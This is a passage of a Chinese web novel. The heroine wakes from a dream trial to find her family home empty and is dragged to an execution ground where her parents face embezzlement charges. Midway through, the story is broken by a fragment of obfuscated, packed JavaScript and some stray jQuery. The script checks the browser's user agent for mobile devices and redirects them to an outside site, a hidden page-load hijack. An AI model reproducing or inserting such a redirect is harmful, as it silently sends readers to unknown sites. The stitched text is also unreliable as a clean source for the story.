林洵舟一扫方才的惊惧,看向乌龟的眼神里尽是好奇,抬脚跟着走了一步。
见状,乌龟才放心地又走了几步,停住等他们跟上。
见到眼前这一幕,饶是元晴初和景星也要在心里说一声:“真不愧为京城人,适应能力真强!”
林洵舟可不管他们怎么想,只催促他们快些跟上。
雨后山路泥泞湿滑,空气也是湿闷得令人窒息,三人跟着乌龟走了好一会儿,方才有了片刻喘息的机会。
“这是……”三人抬头看向眼前突然出现的建筑,一间破院子,荒草丛生,内外无门,窗子皆是破损,从外面看去里面更是漆黑一面,无端让人背后起了凉意。
“我们要进去吗?”
元晴初伸手抓人却抓了个空,这才想起来景星和林洵舟二人此时还是小童模样,于是蹭蹭蹭跑到他们二人身后蹲下,悄声说着。
少女的一系列动作让两人都不禁无奈地扯出一抹笑,可当他们再望向那阴森破败的院子时,却发现乌龟已经迟缓而又坚定地爬了进去。
三人的目光交汇,彼此眼中闪动的光芒诉说着他们共同的答案——
他们决定,再信乌龟一次,进去看看又何妨!
话虽如此,但在走向破院的时候,他们还是尽可能地放缓了脚步,试图逃避。
山林寂静,连鸟雀鸣叫声都不曾听闻,不知吹向何处的风,再也没光顾过这片土地。
霎时间,他们只能听见自己沉重的心跳声——
“咚!咚!咚……”是心跳声吗?
恍惚间,好像有几种声音重合,让人难以分辨。
“有缘人,我找到出去的办法了!”推开屋门的一瞬间,她听见景星如是说道。
“你看!”说着,不知他碰了什么东西,整个屋子、院子开始坍塌,地动山摇,土崩瓦解。
这个世界的景象逐渐破碎、剥离、脱落,视线中一片模糊……
“轰隆——”惊雷炸开,将元晴初从睡梦中震醒,眼前是熟悉的粉色帷幔。
她这是已经回到家里了吗?
正欲起身,她才发现浑身都使不上力,尝试了几次都脱力倒在了床上,额头早已覆满汗珠,身上的里衣也贴在身上,让她想起了祭祀中浑身被雨淋湿的感觉。
“桂枝!桃枝!”
连喊几声都无人应答,无奈之下元晴初只能再次挣扎着起身,幸好这次她及时用手撑住,勉强坐了起来。
终于,在她试图扶着床站起来的时候,房门被推开,桂枝看到她的模样,连忙快步走来扶住了她。
“小姐怎么下地了,您落水发了热,如今正该多歇息!”
“落水?”许是因为发了热,她这脑子昏昏沉沉的,连思维都迟钝起来。
“小姐您忘啦?今日与林公子游船,您二人皆不慎落入水中,幸好景公子及时赶到把您救了上来!”说到这里,桂枝回想起她家小姐刚被救起来的样子,面如纸色,嘴里还不停念叨着什么,竟是被魇住了!
是了,她是落水了,在桂枝的提醒下,进入试炼前的记忆逐渐回笼。
可……这次的试炼,结束得未免也太仓促了,山神水怪的事情,他们一个都没查清,就这么结束了?
此时的元晴初尚在病中,也没办法去找他们汇合,恐怕得过几天才能知道发生什么了……
这般想着,她在桂枝的服侍下喝过药便睡下了。
不论如何,成功出来便好。
可惜,世事无常。
元晴初在房中关了两天,再休养一日便可以恢复了。
这日清晨,她早早便醒了,便是再懒惰的人,在床上静养许久也会觉得烦闷。
“桂枝!”她如往常一般喊着贴身婢女,在府中桂枝负责服侍她,桃枝则是管理灵樨院的大小事务。
熟悉的回应没出现,整个灵樨院都静悄悄的。
元晴初看了眼窗外的天光,太阳早已高悬空中等候多时了,院中怎么可能没人呢?
她不信邪地又喊了几声,凡是她记得住名字的丫鬟都被喊了个遍,但结局却毫无变化——无人回应。
叹了口气,元晴初起身,打算亲自去看看。
站起身时的虚弱感已经比那时减轻了许多,虽然不似往日精神,但走动还是无妨的。
推开门,看着眼前的一幕,元晴初身形一顿。
这灵樨院当真是除了她自己以外再无其他人了。
“奇怪,人都哪去了?”
嘀咕着,元晴初走出了院子,想去找人问问这府里是出了什么事情,竟把灵樨院里的下人全支走了。
不曾想,院外也是一样。蜿蜒的小径上,往日下人来来往往的忙碌景象不再,不只灵樨院,全府上下一片死寂,倒像个空宅子。
不安感在心间作祟,元晴初匆匆跑向正房,总不会连爹娘都不见了吧……
她一路跑啊跑,又听见了自己的心跳声,这一次她听清了,和心跳声重合的是脚步声,揭示着她此刻的不安与慌乱。
正房门口,元晴初正要推门,伸出的手却始终不敢放上去。
若是爹娘真的不在,她该怎么办?
府中的人到底去哪了?
一个又一个疑问萦绕在心头,不过刹那的犹豫,她还是推开了那门。
房中,空无一人。
得到这个答案,她并不意外。
若是往日,爹娘听见她的呼唤,肯定会立刻开门把自己把进怀里,关切地问自己是不是被梦吓到了。
不可避免地,酸涩感涌上鼻尖,她有点想哭。
哭这诡异的一幕,哭她荒唐的经历,哭她的一路波折。
幸好,这段时间和景星一起闯试炼,她也没那么难接受这些突然发生的意外之事了。
对,景星!他是妖啊!他那么厉害肯定什么都知道的!
她又马不停蹄地跑到翠华居,同样是意料之中的冷清。
元晴初立在原地,攥紧的拳头缓缓松开,指甲掐出的红痕热热的,带着有些麻痹的痛,可这些她已经不重要了。
就好像好不容易钻木取火得到的火苗,转瞬间被倾盆大雨吞噬,最后的希望也落空了。
偌大的元府中,孤零零的身影沉默地伫立着。
“啪嗒啪嗒——”是水滴落的声音,是泪水落在石砖上的声音。
元晴初的肩膀颤动着,纵使她抑制自己的情绪,眼中还是不争气地蓄起泪水,自脸颊滑落。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924870|177139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>良久,少女重重地抹了把眼泪,泛着水光的眼中闪动着坚定的光芒,迈开步子便朝着府外走去。
幸好,在靠近大门的地方,她听见了行人来往的声响,这就说明她还可以去找人问,她还有办法去获知爹娘他们的消息。
沉重的墨色大门被一双纤细的手拉开,还没等她看到外面的情况,一只大手突然死死攥住了她,将她拉了出去。
只觉一阵天旋地转,她重重地摔在地上,膝盖和手掌磨得生疼。
待她抬头时,却发现是皇城军的士兵守在自家门口,没来得及询问便听见对方开口道:“原来还有个漏网之鱼!你们两个,把她带到刑场去!”
刑场?什么意思?
最坏的可能性已经浮现在她脑海中,元晴初一瞬间红了眼眶,顾不上疼痛,急忙爬起来抓住那人:“你这话是什么意思?去刑场做什么?我爹娘去哪了?”
可对方只是冷漠地看着她狼狈的模样,嗤笑一声后,狠狠地啐了一口:“装傻也没用!你爹贪了多少,你会不知道?”撂下这句话,那士兵转身走开了,只留下元晴初一个人愣在原地。
什么叫……贪了多少……
正欲追问的少女被两个士兵紧紧抓着,无论她如何恳求与挣扎,都自顾自地将她半拖半拽,押到了刑场。
或许是这场面太过特别,或许是有人认出了她的身份,逐渐有石子朝她砸来。
锋利的石子划过脸颊、额头,沁出丝丝鲜血。
她摆手解释,没人听,她不断挣扎,逃不出。
霎时间,她成了这世间的头号罪人。
为什么一觉醒来,他们元家就被扣了个贪污的帽子?
这就是父亲被升来京城的原因?做个替罪羊?
现在纵使有诸般疑惑也没用了,来不及了。
一直挣扎着的人放松下来,沉默地跟着士兵的步伐,穿过一条条大街,接受一批批百姓的声讨,最终到了刑场。
不知道的还以为是戏台,被百姓里三层外三层的围着。
一路上听着百姓的叫嚷声,她已经知道了刑场中被绑着的就是自己的父母,而那些下人已经被收走了身契,等候发落。
迎着众人的目光,她登上了即将行刑的台子,终于见到了台上二人。
只一眼,泪水便决堤而出。
父亲的衣物已被鲜血浸湿,纵横勾勒出鞭刑、烙刑的痕迹。
一向爱美的母亲如今满头脏污,所有的体面都不复存在。
而父母在此地见到女儿又何尝不是同样的哀痛,两个人皆心疼地看着元晴初,自小呵护的女儿被砸了个头破血流,可他们却无法保护她,甚至还连累她在这大好年华与他们一同赴死。
三人无声地流着泪,但负责行刑的官员可不喜欢看这戏码,将那惊堂木一拍,吸引了众人的目光。
“罪臣元怀清,罪民李容婉、元晴初,你们可知罪啊?”那大人不善的目光落在他们身上,羞辱之意毫不掩饰。
“民女无罪,民女的爹娘更是无罪!”女子的声音不算大,但斩钉截铁,一字一句,传进了在场每个人的耳中。
元晴初绝不想就这样称了那幕后之人的意,她们元家人一生清白坦荡,怎能含冤而死!